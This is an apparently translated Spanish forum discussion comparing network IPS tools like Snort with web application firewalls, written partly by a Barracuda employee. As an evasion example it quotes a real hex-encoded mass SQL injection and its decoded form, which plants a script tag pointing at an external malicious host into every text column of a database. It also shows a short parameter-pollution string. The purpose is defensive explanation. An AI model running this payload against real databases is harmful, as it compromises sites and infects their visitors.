Usando un IPS como alternativa a mod_security

Los firewalls de aplicaciones web como mod_security tienen el potencial de ser más efectivos que los IDS basados en red como Snort, porque un firewall web puede ver la solicitud exactamente como lo manejará el servidor web, y un IDS basado en red no.

Los sistemas basados en red, como Snort, solo pueden ver los paquetes de red. Tienen que inferir / adivinar cómo los interpretará el servidor web. Esto introduce posibilidades adicionales para los ataques de evasión (formas de ocultar un ataque). No estoy diciendo que mod_security sea perfecto o inmune a los ataques de evasión, solo que los ataques de evasión representan un desafío aún mayor para las soluciones basadas en redes, como Snort.

La ventaja de las soluciones basadas en red es que, en algunos casos, pueden ser más fáciles de implementar. Si tiene un montón de servidores web, puede pegar un IDS basado en la red en un punto clave de la red, y protegen cada servidor web detrás de ellos, sin necesidad de instalar y configurar mod_security en cada uno.

Dicho esto, ninguno de estos enfoques proporciona una seguridad sólida. Son un recurso provisional, una forma de mitigar los problemas de seguridad con los sistemas heredados, pero pueden ser derrotados y tienen muchas deficiencias. Si tiene la opción, es mucho mejor crear seguridad en su software (por ejemplo, sus aplicaciones web) desde el principio. A la gente de TI le encanta la idea de IDS, IPS y los firewalls web, porque son más fáciles de implementar, pero creo que sus beneficios a menudo se sobrevenden. Tratar de mitigar el software vulnerable después de los hechos con un IDS, IPS o un firewall web es frágil y propenso a fallar.

IPS como Snort son más de generalistas para proteger Protocolos de Internet de uso común como HTTP, DNS, FTP, SMTP, etc.

Se supone que los WAF son especialistas para proteger HTTP.

Solo para tomar ataques de inyección como SQLi, XSS como punto de partida:

Puedes tomar algunas o todas las firmas de mod_security e intentar escribir equivalentes para snort. Sin embargo, los productos IPS no tienen el mismo nivel de normalización para [ataques confusos] [1], por lo que son fáciles de evadir. Los WAF como Barracuda, normalizan las entradas basadas en la web antes de que apliquen sus firmas, esto evita la omisión mediante el uso de codificación hexadecimal / URL / UTF-8 / Unicode, comentarios SQL, etc.

Para ejemplo , en algún momento de vuelta, esta inyección masiva de SQL estaba haciendo las rondas en el Orientación a Internet MS SQL:

DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
    ....[more hex code]
    26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

Se supone que los WAF deben normalizar primero el contenido que se convierte en:

DECLARE @T VARCHAR(255),@C VARCHAR(255)

        DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM 
        sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' 
        AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

        OPEN Table_Cursor

        FETCH NEXT FROM Table_Cursor INTO @T,@C

        WHILE(@@FETCH_STATUS=0)
            BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
            RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
            +''<script src=http://www.adwbnr.com/b.js>
            </script>''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
        END

        CLOSE Table_Cursor

        DEALLOCATE Table_Cursor

Y luego aplique las comprobaciones de SQL para bloquear estos.

IPS, como snort, normalmente no proporciona protección de "día cero" contra tales ataques, proporcionan firmas específicas de manera reactiva a tales ataques como las firmas específcas de la botnet Asprox, etc. Y estas no son efectivas contra las nuevas vulnerabilidades de día cero.

Luego hay nuevas formas de ataques, como la Contaminación de Parámetros HTTP contra la cual ningún IPS se defenderá, ya que implica examinar, por ejemplo, el valor concatenado de múltiples parámetros de entrada (? a = SEL & a = ECT).

Esto es solo una nota sobre los ataques de inyección, hay muchos otros ataques que requieren una comprensión más profunda del protocolo HTTP que está ausente en la mayoría de los productos IPS. Montaje de sesión, CSRF, envenenamiento de cookies, repetición de cookies, etc., por nombrar algunos.

También puede consultar este papel blanco para obtener una descripción general de alto nivel.

Descargo de responsabilidad: trabajo para Barracuda Networks, que es un proveedor de WAF.

Sí, los WAF virtuales son casi similares cuando se trata de appsec. Y como bien señala, son agnósticos con respecto a los servidores que protegen, que pueden ser físicos o virtuales. Todo lo que necesitan saber es el servidor web IP / Port.

Obviamente, para el WAF virtual, el rendimiento dependerá del hardware subyacente, así como algunas cosas de la capa 2-3, como las VLAN, necesitarán una configuración adicional en el host. Solicite ponerse en contacto con el equipo de PM en Barracuda si sus consultas no son respondidas.